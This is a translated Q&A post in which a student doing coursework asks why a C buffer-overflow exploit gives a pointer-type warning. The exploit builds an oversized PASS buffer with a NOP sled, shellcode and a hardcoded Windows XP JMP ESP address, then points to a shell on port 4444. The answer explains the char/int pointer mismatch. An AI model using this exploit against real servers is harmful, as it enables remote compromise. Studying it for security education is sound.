在我上的一门课程中,给了我一个用C编写的损坏的缓冲区溢出脚本,并且必须修复损坏的代码。到目前为止,我已经修补了一些东西,但是在尝试编译它时会收到此错误消息(错误是从初始代码中显示出来的,而不是我编辑过的任何内容):
646-fixed.c:在功能'exploit'中:
646-fixed.c:48:警告:来自不兼容指针类型的赋值
以下是发生错误的功能。我对C不太熟悉-但是从昨天收到的答复中,我了解到发生这种情况是由于ptr的类型为int,而邪恶的类型为char。我不知道该怎么做才能解决此问题-有人可以帮忙吗?您也可以在此处查看完整脚本
void exploit(int sock) {
FILE *test;
int *ptr;
char userbuf[] = "USER madivan\r\n";
char evil[3001];
char buf[3012];
char receive[1024];
char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
memset(buf, 0x00, 3012);
memset(evil, 0x00, 3001);
memset(evil, 0x43, 3000);
48 ptr = &evil;
ptr = ptr + 652; // 2608
memcpy(ptr, &nopsled, 16);
ptr = ptr + 4;
memcpy(ptr, &shellcode, 317);
*(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP
// banner
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// user
printf("[+] Sending Username...\n");
send(sock, userbuf, strlen(userbuf), 0);
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// passwd
printf("[+] Sending Evil buffer...\n");
sprintf(buf, "PASS %s\r\n", evil);
//test = fopen("test.txt", "w");
//fprintf(test, "%s", buf);
//fclose(test);
send(sock, buf, strlen(buf), 0);
printf("[*] Done! Connect to the host on port 4444...\n\n");
}
Run Code Online (Sandbox Code Playgroud)
注意:我昨天发布了此代码,仅提供了几行代码,结果无法得到明确的答案-因此我删除了该代码并将其重新发布。
类型&evil是指向长度3001数组或char或的指针char (*)[3001]。的类型ptr是int或的指针int*。这些类型不兼容。您不能将一个分配给另一个。
您可能需要的是指向的第一个元素的指针evil。您可以使用指向的指针char,即char*,并将其分配evil给它:
char *ptr;
....
ptr = evil;
Run Code Online (Sandbox Code Playgroud)
在这里,evil衰减到指向数组第一个元素的指针,因此分配有效。这等效于分配第一个元素的地址:
ptr = &evil[0];
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
2290 次 |
| 最近记录: |